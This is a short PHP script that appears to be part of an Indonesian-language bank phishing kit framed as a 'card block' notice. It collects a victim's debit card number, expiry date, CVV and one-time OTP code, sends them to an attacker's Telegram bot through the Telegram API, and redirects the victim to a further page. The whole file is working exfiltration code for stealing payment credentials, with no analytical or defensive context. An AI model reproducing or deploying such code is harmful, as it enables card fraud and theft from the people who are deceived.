<?php
include "../telegram.php";
session_start();

$debit = $_SESSION['debit'];
$valid = $_SESSION['valid'];
$cvv = $_SESSION['cvv'];
$pin = $_POST['pin'];

$_SESSION['debit'] = $debit;
$_SESSION['valid'] = $valid;
$_SESSION['cvv'] = $cvv;
$_SESSION['pin'] = $pin;

$message = "
( *BLOKIR KARTU* )

- *No Kartu :* ".$debit."
- *Masa Berlaku :* ".$valid."
- *CVV :* ".$cvv."

- *kode OTP :* ".$pin."
 ";

function sendMessage($id_telegram, $message, $id_botTele) {
    $url = "https://api.telegram.org/bot" . $id_botTele . "/sendMessage?parse_mode=markdown&chat_id=" . $id_telegram;
    $url = $url . "&text=" . urlencode($message);
    $ch = curl_init();
    $optArray = array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true);
    curl_setopt_array($ch, $optArray);
    $result = curl_exec($ch);
    curl_close($ch);
}

sendMessage($id_telegram, $message, $id_botTele);

header('Location: ../por.html');
?>
